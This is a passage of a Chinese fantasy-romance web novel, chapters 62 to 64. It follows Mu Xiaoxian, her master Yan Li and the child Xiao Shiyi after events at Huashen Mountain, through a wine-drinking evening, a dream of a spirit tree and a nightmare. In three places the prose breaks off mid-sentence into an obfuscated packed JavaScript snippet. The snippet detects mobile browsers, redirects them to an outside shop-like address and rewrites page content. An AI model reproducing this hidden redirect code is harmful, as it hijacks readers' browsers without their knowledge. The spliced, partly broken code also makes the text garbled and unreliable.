小十一:?大白天发什么梦? 慕小闲气得跺脚:“难怪他说有困难去找他,我还以为他良心发现,原来本来就是他对不起我。我是不是......”她难以置信地睁大眼睛:“我刚才是不是中了他的美男计?” 小十一:?你是不是被魔气侵蚀了脑袋? 62. 第 62 章 祥云拖着长长的尾巴自空中穿过,慕小闲翘着腿躺在柔软的云上,望着无际的白色发呆。 小十一坐在她身旁说:“没想到花神山会有魔族,听闻姑姑这段时间公务繁重,可能没有注意到吧。要是我们没去,不知道事情会发展成什么样子。” 慕小闲无所谓:“管他的,反正已经解决了。” 小十一点点头,突然想到:“对了,关于花神山那个传说...... “花神山的由来是有人上山摘草药时救了一只小动物,然后每年花神都会在那天将一束花放在他家门口。” 这是先前花莳告诉他们的。 慕小闲侧了下头,不经意地问:“怎么了?” 小十一一脸神秘地凑近说:“我听说那个小动物...... “是只猴子。” 稚嫩的声音仿佛一只蜻蜓轻轻低略过镜子般的湖面,而后引发的思绪犹如夏日连绵不断的蝉声与阵阵蛙鸣。 猴子?慕小闲回忆了一下,在花神山好像没有看到猴子。 见她没有反应,小十一有些没趣地撇撇嘴,道:“你没听明白。我觉得花神山根本没有花神......不对,花神山当然不会有花神,花神都安逸地待在天庭,谁会跑来这种穷乡僻里。扯远了,我觉得每年给那户人家送花的不是花神而是那只猴子。” “是么......” 慕小闲此时才听出点意思,猴子报恩?她只听过猴子偷桃。 “花神当然不会保佑村民,所以等他们回过味来,那座神庙迟早会废弃。” 慕小闲拧眉向远处眺望,流云悠然飘过,她的思绪也跟着变得绵长。花神山没有神明存在的迹象,但花神山里生灵却很有灵性,村民与大自然和谐共生,也许确实受到了某种庇护吧。 晏离孑然一身伫立在竹屋前,清冷孤高的白衣宛如轻云出岫,无半点凡俗烟火之气。 “叔父!我们回来了!”小十一从祥云跳下来,奔进院内。 晏离的眼神应是冷淡的,可当这种淡漠的目光落在慕小闲身上时,却好似带着温度一般,让她莫名胸口发烫,眼神不由有些躲闪。 “我回来了。”慕小闲轻声说。 “嗯。” 再看向他时,又不见异常,神色依旧平静无波,许是她多心了。慕小闲松了一口气,走至桌边倒了杯冷茶。 小十一:“叔父,花神山真的出事了。那里居然有魔族!” 晏离立在不远处,将收回的目光转向他问道:“发生了何事?” 小十一起了精神,怕晏离不认识华尧上神,于是说:“这次我们还遇到了姑父......” 晏离眼中划过一丝凝滞,仿佛在琢磨这几个字:“......” 小十一:“啊不,就是天庭上神华尧......” 晏离短促地垂下眼睑:“他不是你姑父。” 小十一未作他想,点点头:“你说的没错,他现在确实不是我姑父了,他居然要退婚。” 晏离抬眸道:“退婚?” 小十一趴在桌子上:“是啊,他为什么要退婚?我姑姑不好吗?怎么想的,唉,真是......”小十一略抬了下头,问慕小闲:“你知道为什么吗?” 慕小闲唇角一僵,斩钉截铁地摇摇头:“这是华尧的私事,我怎会知道?” 晏离幽幽望着她良久不语,让慕小闲默默挺直了后背,如坐针毡。 晏离和白瑶是师徒亦是远亲,白瑶的婚事不成,对他而言亦或是一种遗憾?不是,华尧你好端端的退什么婚?想到这里,慕小闲心中一阵烦闷,脸上不自觉表露了出来。 小十一凝眉嘟囔了一句:“你真的不知道吗?你们那天晚上偷偷摸摸出去做什么了?” 什么那天晚上?什么偷偷摸摸?冤枉啊!!! 慕小闲手一抖,杯中的茶水溅了几滴出来,三人看着桌上的水珠一时谁也没出声。 慕小闲咽了咽喉咙,偷偷瞟了晏离一眼,发现他的余光似乎也在暗暗打量她。不知为何,她心中诡异地一颤,背脊陡然爬上一阵寒意,头皮微微发麻。她抿了抿嘴,瞪了小十一一眼,压着声音道:“你胡说什么......” 有了前车之鉴,慕小闲这次决定坦白从宽,于是低下头委屈道:“是华尧非要指点我几招。我只有您一个师父,当然誓死不从奋力抵抗......不,总之我反抗过了,但我怎么可能反抗得了天庭上神,所以被逼无奈只能听他的了。我发誓这只是缓兵之计,我绝对没有背叛师门!” 小十一震惊地看着她,说不出话来,华尧上神非要教她?怎么可能!他怎么没遇到这种好事? 晏离问道:“你真这么想?” 慕小闲用力点点头,眼中闪烁着真诚的光辉:“那是。我的师父唯有一人,我不会承认其他人的!” 晏离不着痕迹地避开她的目光,淡淡道:“能这么想还不算无药可救。 “你学的是青丘的仙术,代表的是青丘。以后遇到天庭或是魔域之人,不可掉以轻心,不能失了青丘的颜面。” 慕小闲听没听进去不知道,点头倒是勤快得很。 晏离沉默半晌,道:“我隐居山中太久,并未留意几百年前发生过什么。不过听你们所说,我觉得花神村或许并非那么简单。” 慕小闲并不在意:“反正解决了就好。” 晏离没有再深究下去,而是对小十一说:“你该回去了。” 小十一微张了张嘴,眼神闪烁:“我现在回去不太好吧,万一我体内还有魔气没清除干净呢?” 他拉着晏离的袖摆撒娇道:“叔父,我能在这里待几天吗?我睡榻就行。” 晏离本想回绝,但感受到另一侧投来的目光,道:“没有吃的了,你去山里找找罢。” 小十一抬起头,眼睛一亮:“交给我了!”转身兴奋地跑出院子。 慕小闲撑着下巴望着小十一的身影一点点变小,一回头,突然发现狭小的空间只有她与晏离两人了。她怔愣着缓缓放下手,看着晏离有些不知所措。她与晏离在这竹屋小院生活了许久,本该早就习惯了才是,但她为何有一丝紧张。 晏离抬眼问:“我脸上沾到什么东西了吗?” 慕小闲慌忙将目光往别处一撒:“不......没有。” 。 傍晚的竹隐山好像从没有如此温馨过,小十一坐在桌边叮叮咚咚敲着碗,晏离冷冷看了他一眼,他立马心领神会乖乖放好筷子。 慕小闲在桌上摆了四道小菜,晏离取出了一坛“不可说”,斟上了两杯。清冽的酒在杯中摇晃,倒映着朦胧月色,散发着沁人心脾的清香。 “师父这是要与我对饮吗?”她之前喝酒那次不知闹了何事,第二天晏离将所有的酒坛都藏起来了。今天不知是吹了什么风? “为你们接风洗尘。”晏离说。 慕小闲抿嘴一笑,对上小十一渴望的眼神,突然变脸:“小孩子不能喝酒。” 小十一哼了一声,抢过慕小闲的白瓷杯,一饮而尽! ......群山间回荡起他作呕的声音,惊起歇息的鸟雀无数。 “这什么酒,怎么这么苦。呕。”小十一胃里一阵抽搐,慕小闲递了杯温水过去:“等你长大了就知道为什么这么苦了。” 小十一虚脱地瞄了“不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137726|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说”的作者一眼,感觉晏离好像愣怔了一下。小十一不敢多说,心道叔父到底是怎么想的,为什么酿出这么苦的酒。 晏离的纤纤玉手执下,而后,其余两双筷子像接到指令一般,在桌上的碟子里打起架来,乒乒乓乓几下,碟子一扫而空。 小十一撂下筷子,一脸怒意:“你怎么能和小孩子抢吃的?” 慕小闲夹起最后一筷子,在小十一面前虚晃一招:“我就抢怎么了?谁规定不能抢?” 小十一涨红了脸,在慕小闲的筷子经过他眼前时看准时机,猛地向前一口衔住她的筷子,在慕小闲震惊的目光下得意地吞下食物。 慕小闲倒吸一口冷气,丢下筷子追着小十一绕着竹林跑:“啊啊啊啊啊你学坏了你跟谁学的!青丘白家小公子怎么能做出这种事!” 晏离默默放下酒杯,眼中不经意间露出一丝淡笑。 慕小闲追到小十一也不能拿他怎样,顶多罚他洗洗碗碟。她坐在树下喝了两杯小酒,浑身暖呼呼的,脸上浮起红晕。梳洗后没绑头发,清风拂过,乌黑的发丝随风摆动,扬起一阵属于她的气息。 酒气上涌,眼前的景物像蒙上了一层薄纱,变得似真似幻。她摇了摇头,出现了顷刻清明,又觉得如此醉了也不是什么事儿,不如任这股酒意肆虐算了。 晏离垂眸坐在对面,轻柔的指腹压在白瓷杯上细细地摩擦,斟酌半晌,出声问:“华尧为何退婚?” “啊?”慕小闲一顿,红着脸嘟囔道:“我怎么知道。” “你与他......” 慕小闲打了个嗝,眨眨眼,像要向晏离证明一样,连忙摆手:“不是不是......这件事有点复杂。不过,绝对不是我的错。不是我的错,真的不是。” 晏离放下杯子,眼里清醒地看着她快垂下去的脑袋:“为何?” 慕小闲抬起头,无所谓地说:“就是不爱了嘛,哪有那么多为什么?” 这话说的认真又随意,言者无心,听者有意,晏离心里猝然像被针刺了一下,看着她出神。 他平息了一会儿,低声问:“他之前待你如何?” “嗯......”慕小闲托着下巴,抬头望天,看似认真的思量了一会儿:“他脾气好差,第一次见面的时候我还以为他要杀了我。不过我刚升天的时候......什么都不懂,如果不是他收留我,我都不知道该怎么办。我那时候看他一眼都嫌烦,但现在想来他好像也没把我怎么样,反倒是我经常在他眼皮子底下捣乱哈哈哈哈。” 晏离静静听着,眼睫轻颤,打断道:“你为何离开他?” 她在春桃宴上被抓进北溟海极,好不容易逃出来,如果再回天庭,又不知道会被发配到哪儿去了。 不问还好,一问慕小闲突然回忆起她与凤钰前往南天门的路上遇到华尧,那时他刚解毒身体虚弱得很,不由分说与凤钰大打出手,想要挽留她,那时应该是认真的吧。 慕小闲心中涌上一种复杂的感情,语气不由地消沉了下去:“我受人诬陷被抓进了北溟海极,我意识到如果不想被人欺负,就得自己变强。如果我继续待在华尧身边,可能会依赖他,他也没理由一直庇护我......” 她浅浅饮了一口,喃喃道:“天下无不散的宴席,分开是难免的。等我变强了,或许以后还有顶峰相见的机会呐。” 寒风吹散了些许昏沉的酒意,慕小闲忽的感受到一阵不同寻常的寒意,恍惚地看向冷脸的晏离。 他身上的淡然好似一点点瓦解,清瘦的身影被渐浓的夜色包裹,如雾般的眼眸裹挟着风雨欲来的气息。他沉沉地望着她,低压的声线带着一丝危险:“离华尧远一点。” 63. 第 63 章 慕小闲闻言心中一动,想抓住那一丝不寻常,无奈酒后头脑昏沉,竟是无法继续思考。迷糊之间感觉到耳畔传来一声很轻的叹息,周遭恍然变换,她已被安置在屋内的床榻上。 清凉的风就像清晨穿过竹林的微风,让人心神安宁,感觉那人要离开,她无意识地伸手去抓。良久,她的手被轻轻地拂开。 她心里涌上一股沉闷,想睁开眼睛,无奈醉意太浓,怎么也挣扎不出来。须臾只觉身上一重,轻柔的被子掩盖了她所有的躁动。 山中沉寂,归鸟栖在枝头,影子融化在一轮圆月淡淡的光辉中。 半晌,她睁开眼睛,迷茫地看着眼前弥漫着朦胧的白色,怔愣了好半天才回过神来。四周缭绕的仙气逐渐散去,眼前的景物变得清朗起来。 她站在一方绿地上,脚边有零星几朵粉白色的小花。一只银色的蝴蝶在花间翩然起舞,从她身边悠悠绕过,带着她的目光飞向不远处...... 不远处有一颗粗壮的参天大树,繁茂的枝叶向天空延伸,像一把巨大的伞。青翠的叶子泛着莹莹幽光,像一颗一颗绚烂的星辰。 树下有人。 他站在树下背对着慕小闲,飘逸的银丝垂到膝弯。欣长的背影,超然世外的气质,仿佛一碰就会幻灭的梦境,空气都随之变得清新凉薄。 慕小闲不敢出声,唯恐惊扰仙人,但眼中又觉得很熟悉,不由自主迈开脚步,向那人走去。 听到身后的声音,他缓缓转过身,干净利落的线条勾勒起一张清冷淡漠的侧脸。 慕小闲心里怦然一跳,脚步微顿。 晏离在银辉的衬托下如同无瑕的白玉,整个人仿佛散发着柔和的微光。 他抬起眼睫,凝眸向她看来,眼中倒映着慕小闲的身影,眼波如湖中涟漪微微一颤。顷刻,波澜凝聚成漩涡,匆匆惊喜过后转而坠入一种难以言喻的复杂。 慕小闲与晏离视线相对,他辗转的神色让她心尖渗出一抹奇异的酸涩,连呼吸都染上了微微颤抖。 就在她迟疑时,晏离蓦地退后半步,撇开头垂下眼帘。他嘴唇紧抿,垂在身侧的手紧紧握拳,似乎在隐忍什么,还夹杂着一丝意料之外的慌乱。 慕小闲亦感到不知所措,她伸出手掐了一下自己的脸,呵,还有点疼。 是梦吗?她怎么会做这种梦。 晏离再次抬眸时,眼底已如平日般沉静,他望着慕小闲幽幽叹了一口气,转身道:“跟我来。” 慕小闲呆呆地看着他,眼中露出惊愕:“说话了......”她还以为这是个无声的梦境。 晏离向那棵参天大树走去,步履稳健,脚踝没有囚仙印的束缚。慕小闲一瞥过后,越发确定这一定是个梦。 离那棵大树近了,她才发现树下散落着几本书。 不愧是晏离,梦里都离不开书。 慕小闲眼尖地看到里面有几册长得莫名熟悉...... 那不是神修小册子吗! 怎么会出现在这里? 慕小闲心里仿佛有一颗炸弹爆炸,炸得她两颊发烫。 她跟着晏离慢慢跨过蜿蜒的树根,两人的身影在巨大的树冠的衬托下,显得十分渺小。她抬起头望向漫天枝叶,喃喃道:“这是什么?” “这是灵境之树。”晏离说。 “灵境?” 晏离向她伸出手,慕小闲眨眨眼,不明所以地将手递过去。晏离牵起她走至树干边,将她的手放在树干上,触摸到的瞬间,一声细碎又空灵的叮铃灌入耳中,在脑内回荡,宛如佛音。 须臾又是一声叮铃,余音阵阵,像投石过后湖面荡开的圈圈涟漪。 在回荡的铃音中,慕小闲起伏的心情逐渐平静,表情柔和起来,好像被一股温柔的力量牵引着,走进了一个新世界。 “灵境在魂灵最深层次的意识中。”晏离说。 “魂灵越强大,他的灵境之树生长得越繁茂。” “好神奇。”慕小闲闭上眼睛,聆听灵境之树传来的声音。 “这个声音是?”她渐渐听得入了迷。 “是魂灵的声音。”晏离的声音好像是从很远的地方传来。 慕小闲驻足细细听着,伴随着安宁的呼吸,仿佛和大树融为一体。半晌她睁开眼睛,看见自己放在树上的手突然变透明,手足无措地看着晏离:“这是怎么了?” 晏离松开她的手:“你才学会感知灵体,坚持不了太久,今日到此为止吧。” “到此为止?什么意思......”慕小闲疑惑不解,她想上前抓住晏离的袖子,手却穿过了晏离的身体。她的颜色越来越淡,直至消失不见。 耳边空灵的叮铃声被鸟雀叽叽喳喳的吵闹声取代,睡梦中的慕小闲皱了下眉头,逐渐转醒。她抬起手揉了揉眼睛,视线忽然停留在手上,那只在梦中被晏离牵过的手...... 她做了个离奇的梦。 她梦见了一个与平日不同的晏离,和一棵会发声的树。 她为什么会做这种梦? 她侧了身,悄悄透过房门望向另一侧。 难道她潜意识在肖想晏离...... 不能吧? 慕小闲用被子捂住头,愤然想道:慕小闲啊慕小闲,你怎么能有这种想法?他是你师父啊,你能不能尊师重道一点?晏离难道对你不够好吗?你还敢如此觊觎他? 她抱着被子在床上滚了滚:不对啊,之前拜师时他没让我完成拜师仪式,理论上来说他们之间的师徒关系没有那么坚固...... 啊啊啊啊你在想什么? 门外传来细微的声音,打破了她的胡思乱想。慕小闲坐起来深吸一口气,闭上眼睛冷静片刻,再睁开时已没有刚才繁杂的情绪。 。 午后,山里有些闷热。慕小闲在溪边洗了几只果子,揣在怀里往回走。 不一会儿,晏离从房里出来,见慕小闲正将果子放在水盆里冰镇。 黄绿色的梅子挤在盆中,随着水波晃荡。 一只鸟雀飞落屋檐,慕小闲抬眼与它对视片刻,随手拿了一只果子抛了上去。 果子砸在竹棚上滚了几个圈,被鸟雀一口衔走。虽然一人一鸟未发一声,一系列的动作却如行云流水,自然而然地发生了。 晏离不知何时站在她身旁,出声道:“感知灵力是华尧教你的?” 他靠的并不十分相近,身上好闻的清香却贴近了她的感官,慕小闲慌忙转头答道:“之前我已经能感知,他指点了几句,教我如何将灵力化为己用。” “过来。”晏离转身向空旷处走了几步。 慕小闲跟了上去,就见晏离闭上眼睛,四周平地忽的起了一阵风,将他白净的衣摆吹拂得高高扬起,又卷了落叶向远处飘去。 不一会儿,慕小闲脑海中的神识感应到了远处一些细小的动静,有什么东西往这边来了! 小短腿飞快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137727|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地跳跃...... “叽!”一只棕毛的兔子突然从草丛中窜出来,跳到慕小闲的脚边。 慕小闲瞪着眼睛,惊讶道:“小黄瓜?” 小兔子眼睛一眯:“叽!漂亮姐姐!” 晏离顿了一下:“你认识它?” 慕小闲举起小兔子,与它亲切地对视,笑道:“我不仅认识它,它的名字还是我取的。” 晏离停顿的时间更久了一些,半晌:“为什么取这种名字?” 慕小闲抬头望天:“不记得了,也许它当时在吃黄瓜吧。” 小黄瓜身体一僵,果断摇摇头。 慕小闲揉了揉它的小脑袋:“你怎么来了呀小朋友?” 清冷的声音道:“方圆百里,只有它愿意来。” 慕小闲双眼含泪,抱着它蹭蹭:“啊!小黄瓜!我好感动!” “你与它交流,可以提升感知力。” 慕小闲刮目相看:“小黄瓜没想到你还有这种用处。” “叽!”小兔子的形象瞬间高大起来。 “它可以变成召唤兽吗?”慕小闲与小黄瓜四眼放光,期待地看着晏离。 晏离:“不行。” “哈哈哈哈我开玩笑的。”慕小闲抬头开心地说:“谢谢。”然后低下头与小黄瓜说起话来。 阳光斜斜地落在她柔软的发丝上,她表情柔和地抱着小黄瓜,顺了顺它的毛。晏离身上清冷的气息似乎有片刻消融,目光在她身上停留了许久。 小十一揉着眼睛从屋里走出来,从慕小闲面前经过,坐在竹屋外的木桌边倒了杯水,把茶杯举到唇边......突然扭头,睁大了眼睛:“这是从哪里跑出来的?” 慕小闲紧紧抱着小兔子靠在树下,小兔子无辜地耸耸鼻子。 他跳下椅子,走过来伸手就要摸。 慕小闲一躲:“别碰我的小黄瓜。” “它......它叫什么?”小十一愣了一下,指着小兔子问。“啊哈哈哈哈小黄瓜!你怎么起这种名字。” 小黄瓜竖起耳朵睥了他一眼“叽叽叽叽”骂人。 “小黄瓜怎么了?你还叫小十一呢!”慕小闲护着它吐槽道。 小十一的手僵在半空,有点哭笑不得。 小十一回头喝了几口水,问道:“你从哪儿骗来的黄毛兔子?” 慕小闲沉迷撸兔子,头也不抬地回道:“我之前跑去隔壁那座山上修炼,它在旁边偷看我......我没骗它,它自己愿意来的。是不是呀?” 小兔子抬头目不转睛地盯着慕小闲,微微点了点头。 小十一抬抬眉:“敢偷看你,它胆子挺大的。” 晏离再次走出竹屋时就见一大一小两人蹲在树下,围着一只瑟瑟发抖的小兔子。小十一拿着一根细草,杵在兔子的三瓣嘴边戳了戳:“它怎么不吃啊?” 慕小闲把手上的草往地上一丢:“你抱着它傻笑,它被你吓死了,从刚才开始就不说话了。” 小十一纳闷:“谁傻笑了。它不是胆子挺大吗?” “那也顶不住你吓人。” 兔子被吓得晕晕乎乎,只会“叽叽叽叽”乱叫,突然看到白衣飘过,宛如仙子从天而降,两眼立刻露出痴迷的神色。 慕小闲一抖,面露尴尬。 小十一:“怎么了?” 她听到小黄瓜说:叽!漂亮哥哥! 慕小闲:你男女通吃啊? 64. 第 64 章 自从那日梦见晏离之后,慕小闲便有些不对劲,明知道梦里的一切都是不真实的,但却总是心不在焉。好在这些天小十一赖在竹屋不走,她不用与晏离两人朝夕相对,不然真害怕被晏离察觉出什么。 慕小闲每日照例出去练功,小十一闲来无事坐在附近一棵大树的枝干上观望。 只见慕小闲在山林中站定,粉色的衣裙迎着晨光将她的身材映衬得亭亭玉立,她屏息凝神,长吁一口气,四周的气场渐渐凝重。 清风拂过树梢,发出细微的沙沙声。 身影静默须臾,忽而眼神一变,连发三招,几道刺眼的白光冲着二里外的枯木而去。 然,疾飞而出的仙力只有一道打落了几根枝条,其余两招全都偏落在地。 小十一感觉到她由内而外的心不在焉,忍不住嘲笑她:“你平时就是这样练功的?魂都不知道飞到哪里去了。” 慕小闲瞥了他一眼,飞身而上,一脚踢在他所在的那棵大树的树干上,腿上裹挟的仙力在撞击中散开,这样一击如果是落在人身必然叫他五脏移位,但大树却纹丝不动,只飘洒下几片落叶以示尊重。 小十一笑得更欢,忽然屁股下传来“咔”的一声,树枝猝然断裂,他干瞪着眼睛从树上跌落,一头栽进草丛。 小十一爬起来,甩甩头发上沾的草叶,不服气地说:“慕小闲,你是故意的吧?我要告诉叔父你恶意报复!” 慕小闲蹲下身,与他的个子平齐,点了点他的脑袋,不悦道:“你这些天赖在竹屋,吃我做的饭菜,睡我屋里的软塌,也不记着我一点好,居然还想着告状,你有没有良心啊?” 小十一嘟囔道:“我才不稀罕你的饭菜和软塌。” 慕小闲眯了眯眼:“那你为什么不回家?家里有老虎?” 小十一脸上一红,站起来道:“才没有!”然后噔噔噔地向竹屋跑去,真的跑去跟晏离打小报告。 晏离端坐在树下看书,听小十一描述刚才发生的事情极为敷衍地应了一声,表示他知道了。 小十一等了好一会儿也没等来晏离的反应,感到莫名其妙,不是,你知道了你怎么没有反应?不,你还不知道! 小十一凑上前扯着晏离的袖子,一双大眼睛带着撒娇的语气道:“叔父,你看慕小闲嘴上说要修炼,实则心不在焉,每天练功跟闹着玩儿似的,修炼了这么长时间也没多大长进,实在是没天分。要不你别教她了,你教我吧,我平日学的可认真了。” 晏离放下手中的书,淡淡瞥了他一眼,问:“天天往外跑,都学了些什么?” 小十一答道:“白家基本的仙术我都学会了。” “既然你都学会了,为何在花神山还会被魔族抓去?” 小十一被问的哑口无言,半晌才争辩道:“我那是没有防备,不小心才......” “敌人不会管你有没有防备。”晏离沉声道。 小十一瘪了瘪嘴,红着眼睛说:“知道了。” 晏离叹了口气,轻轻拍了拍他的脑袋,语重心长道:“你是白家人,性子应该收敛些。” 小十一别过头,嘟囔道:“我听说姑姑小时候比我嚣张顽皮多了,根本不把你放在眼里,她现在不也是青丘之主?” 晏离的手一顿,语气不自觉冷了下来:“谁与你说的?” 寒意渐深,小十一缩了缩脖子,眼珠转了转:“这也不是什么秘密吧。” 晏离望着他沉默半晌,像是穿过他思忆什么,眼底划过一丝沉重:“别听旁的人胡说,她没有......” 小十一愣愣地看着晏离,没有什么? “她幼时虽然随性,但也知轻重。为了她和青丘的前途,从未做出出格逾理之事,也未逃避过自己的责任。” 晏离深吸一口气,垂眸说道:“她在你这个年纪,白家仙术早已烂熟于心。你现在如何能与她比?” 提到白瑶的过往时,晏离的眼神明显与平日不同,身上那冷漠疏离的气息好似也悄然消散。 清风带着一丝的寒意吹进慕小闲的心里,她隐在竹林之中,悄悄望着此时的晏离,只觉得他一提到白瑶眼角便染上了几分温柔,心里不由有些烦闷。 看来白瑶在他心中是很重要的,他不愿再收徒,约莫也是为了这唯一的徒弟。 小十一眼中露出惊讶之色,他听说白瑶早年性格跳脱,不安于长乐宫,在外一待就是很多年。所以他一直用白瑶早年荒唐的事迹当挡箭牌,现在晏离居然跟他说事实并非如此? 小十一抿了抿嘴唇,带着一丝撒娇的意味,拉了一下晏离的袖口:“叔父,我没想和姑姑相比,但是慕小闲我总能比吧?难道我还不如她一个外人?” 晏离微微抬眼,小十一莫名觉得他眼神不善,拉着晏离袖口的手尴尬地收了回来。 “她不是外人。她现在既拜我为师,就该受我庇护。”他看着小十一的眼睛,说得极为清晰认真,让远处偷听的慕小闲一怔,望着晏离的侧影出神,心里的沉闷好似突然转化为一种温和的感觉,在身体里流淌。 小十一愣在原地,不明白自己一个青丘小霸王为何在晏离口中讨不到一点夸赞。 “早点回去罢。”晏离道。 小十一突然打了一个寒噤,着急道:“不,我还没玩儿够呢,我不想回去。” 晏离凝视了他半晌,了然道:“白溯回来了?” 慕小闲正纳闷白溯是何人,就看见小十一眼珠一转,咽了咽喉咙,哀求道:“叔父,别赶我回去。我爹出门前要求我将口诀背完,我还没背,我现在可不能回去。” 晏离没有应他,小十一的表情一点一点垮下来。 就在这时,慕小闲从林中踱步而出:“原来是这样啊,难怪你这些天不想回家。” 她幸灾乐祸地笑着走到小十一跟前:“既然是你爹布置的任务,自然不能让你什么也不会回去受罚。” 小十一一听有戏,点点头:“对,没错,不能让我回去。” 慕小闲挑了挑眉:“那我就只好监督你快些背完了。” 小十一一愣,看了一眼晏离,见他没有反对,哀嚎一声:“我不要!那么多怎么可能背的完?” 这可由不得他,他若是想继续留在竹屋便要听从慕小闲的安排。 夜里,竹屋燃着昏黄的烛火,小十一端坐在桌边捧着书干瞪眼,偷偷拿余光瞟了一眼另一边的慕小闲,与她的视线一撞,赶紧低下头继续看书。 密密麻麻的字变成了一条条蚯蚓,在书上缓缓蠕动。 慕小闲的指尖突然“扣扣”敲在桌上,吓得小十一一激灵,眨眨眼睛,定睛一看哪有什么蚯蚓,只有一行又一行枯燥的口诀。 不一会儿,安静的屋中又传来一连串咕噜噜的声音,小十一的脸掩在书后面,直到听见慕小闲忍不住轻笑一声,才顶着透红的脸钻出来,小声嘟囔道:“笑什么?我这是在长身体。” 小十一年纪尚小,从小行为自由不受约束,念起书来不如慕小闲自律,能安分地坐在这里已是不容易。她心里无奈地叹了一口气,心软道:“我去给你煮碗蛋羹吧。” 清风拂过,叶颤虫鸣,微微吹动纹着暗金的衣袖。山林的夜深得可怕,竹屋幽幽的光如同一点萤火虫绽放在黑暗中。 小十一望着昏黄的幽光,眼皮渐渐变得沉重,他用手拖着下巴,轻轻闭上双眼,想着只是小憩一会儿,但没想到却沉沉睡了过去。 慕小闲端着热腾腾的碗走进来时便看到了这一幕,原本应该专心背书的小十一,此时趴在桌上睡得人事不知。 她眉毛一挑,将碗放在桌上,抱起双臂打量起小十一。 须臾,见他全然没有醒来的意思,揉了揉了头发,将他抱回了房里的软塌上。 慕小闲熄了蜡烛,准备上床休息。 忽然听见睡梦中的小十一传来低沉的嚇嚇声,她借着窗外的一点月色悄悄靠近,只见小十一一改方才宁静的睡颜,眉头陡然一皱,身体微颤,时而急促喘息,时而痛苦呜咽。 这是做噩梦了? 慕小闲正犹豫要不要叫醒他,他突然睁开双眼,上半身从软塌上弹起来,颇有“垂死病中惊坐起”的架势,虚汗将浑身都浸湿了。他睁大了眼睛,张嘴半天没发出声音,眼睛红了一圈。 慕小闲赶紧倒了一杯凉水递给他,轻轻拍了拍他的后背,问:“你梦见鬼了?” 小十一虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137728|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱地靠在墙上,大口灌了几口水,边喘边说:“我......我梦见我自杀了。” 慕小闲一听心里慌慌,安慰他也是安慰自己:“没事,梦境和现实都是反的。” 小十一长吁一口气点点头,心想慕小闲总算说了句人话,就听她小声说:“没准儿是他杀呢。” 小十一差点一口水喷出,心态彻底崩了,操起手边的枕头向慕小闲砸去。那货躲闪间还笑了出来,一点儿也没认识到自己伤害了一颗幼小的心灵。 慕小闲对他遭遇了什么毫无概念,以为不过是一场梦魇,还有点幸灾乐祸:“你梦见什么了?说来听听。” 小十一深吸了一口气,眼神深沉起来,缄默半晌,竟然靠近了抓起她的衣角,用眼神示意她将门关紧。 慕小闲望了一眼晏离的屋子,不知小十一什么意思,还是起身关上门窗,然后压低了声音问:“到底是什么事?现在可以说了吧?” 小十一惶惶不安地再次看了一眼门的方向,小声问:“先前叔父是不是说,他在山中隐居了很多年,不知道花神山几百年前发生的事情?” 慕小闲点点头。 小十一的眉头拧得更紧,顿了一下说道:“我在花神山被那阿寐关在山洞里时,曾听见灵体的声音呼唤我,继而陷入了一个梦境。我梦见花神山上真的有一只怪物,在一个月圆夜下山走进了村子,杀害了好多人,到处都是血......” 梦里,小十一变成了花神村里一个普普通通的村民,他和衣而睡,半梦半醒间听到屋外窸窸窣窣的声音,扰人安宁,于是打着灯笼起夜查看。 月黑风高,冷风袭袭。他走出门外几步,提着灯笼四处查看,遥遥望见远处一团高大的黑影犹如一座大山立在村子里。与此同时,他闻到了一股浓烈的血腥气,心里一紧,想赶紧躲回屋去。 眸中的黑影突然举起胳膊,狠狠摔了下去,一阵凄厉的尖叫与撕裂的哭嚎响彻黑夜,刺穿了她的耳膜,既而断断续续的呜咽与咀嚼声撕磨着,久之消散于凌冽的寒风中。 村子里安静极了,街上空无一人,仿佛除了他没人知道发生了什么。他浑身无力地踉跄几步,脚底像是沾上浓稠的液体,心中一惊瘫倒在地。 手中的灯笼滚落,一点星火吞噬了灯笼的骨架,烧的他满眼赤红。 火光中,血流成河、残肢遍地。她想逃开,眼睛却不受控制地被吸引,脑中仿佛有一根弦陡然断裂,眼底的赤红变得越来越模糊。而后,他逢人便说:“有怪物!怪物吃人了!” 小十一深沉的目光在昏暗中微微发光:“虽然这个梦境非常真实,但我以为是听了花莳说的,三百年前花神村曾被一个怪物袭击的事情,所以才会做这样的梦,没放在心上。不过刚才我好像又回到了这个梦里,这一次还看见了新的画面......” 小十一脑海中闪过一个片段,他看见一位浑身浴血的仙人孑然站在横尸遍野的村庄中,他身后隐天蔽日的黑影,缓缓睁开了猩红的眼睛。 小十一抓紧被子摇了摇脑袋,企图忘掉那个画面。 “那个仙人你可看清是谁?”慕小闲问。 